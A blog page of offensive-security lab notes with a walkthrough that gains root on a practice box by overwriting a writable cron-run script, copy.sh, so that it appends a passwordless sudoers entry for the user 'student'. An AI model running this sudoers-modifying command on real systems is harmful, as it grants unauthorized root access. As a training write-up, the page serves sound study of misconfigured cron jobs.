boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Lab

Cron is a lifesaver for admins doing periodic maintenance tasks, and it can even run tasks inside individual user directories. But those automations have to be used with caution, or they lead to easy privilege escalation.

Mission: get a root shell on the box and retrieve the flag.

Find Occurrences of Path to File

Enumerate the system to see what uses message:

grep -rnw /usr -e "/home/student/message"

message is kept in the /tmp directory and is used in /usr/local/share/copy.sh. We can modify this copy.sh file and escalate privileges.

Check the permissions on copy.sh:

ls -al /usr/local/share/copy.sh

The permissions let us modify the file.

Edit the file to add our user to the sudoers file:

printf '#!/bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh  # essentially echoes student as root into sudoers and into the copy.sh to execute as root.
>>                                                # append to end of file

Confirm there was a cron job running at the root level:

crontab -l

Flag